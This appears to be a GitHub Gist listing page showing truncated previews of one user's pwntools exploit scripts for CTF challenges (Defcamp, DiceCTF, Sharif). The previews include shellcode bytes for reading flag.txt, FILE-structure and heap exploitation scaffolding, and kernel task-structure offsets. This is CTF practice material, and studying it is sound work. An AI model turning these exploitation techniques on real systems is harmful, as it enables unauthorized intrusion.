Skip to content

Instantly share code, notes, and snippets.

@soez
soez / cache.py
Last active February 14, 2022 09:25
Defcamp-CTF-2022_cache
from pwn import *
local = False
libc = ELF("./libc.so.6", checksec = False)
binary = ELF("./vuln", checksec = False)
def menu(n):
io.recvuntil("\nChoice: ")
io.sendline(str(n))
@soez
soez / babyrop.py
Last active February 6, 2022 22:56
babyrop_DiceCTF-2022
from pwn import *
import binascii
# open-read-write file
filename = "flag.txt"
body = "\x5f" # pop rdi
body += "\x80\x77" + chr(len(filename)) + "\x41" # xor byte [rdi + 11], 0x41 ; 11 = len(/etc/passwd)
body += "\x48\x31\xf6" # xor rsi, rsi
body += "\x48\x31\xc0" # xor rax, rax
# -*- coding:utf-8 -*-
from pwn import *
# based on https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
# coding: utf-8
from pwn import *
def menu(s):
io.recvuntil("> ")
io.sendline(s)
def write(s):
menu("w")
io.sendline(s)
# -*- coding:utf-8 -*-
from pwn import *
IOCTL_READ = 901
IOCTL_WRITE = 902
OFFSET_COMM = 0x408
OFFSET_TASKS = 0x210
e = ELF('./vmlinux')
# -*- coding:utf-8 -*-
from pwn import *
def menu(n):
io.recvuntil("Your choice: ")
io.sendline(str(n))
def malloc(sz, s):
menu(1)
io.recvuntil("Size: ")
from pwn import *
def init(s):
io.recvuntil("Input name: ")
io.sendline(s)
def menu(n):
io.recvuntil("Choice: \n")
io.sendline(str(n))
from pwn import *
def menu(n):
r.recvuntil(">> ")
r.sendline(str(n))
def add(idx, size, payload):
menu(1)
r.recvuntil("Enter the index:\n")
r.sendline(str(idx))
from pwn import *
def menu():
r.recvuntil("option> ")
def create(pos, name, height, weight, power):
menu()
r.sendline("1")
r.recvuntil("Enter the new pokemon ID: ")
r.sendline(str(pos))
from pwn import *
local = False
r = process("./t00p_secrets") if local else remote('ctf.sharif.edu', 22107)
r.recvuntil("Enter your master key: ")
r.sendline(p64(4283034714650536567L) + p64(8243946171696569202L) + p64(7454134929210039143L))
def menu(n):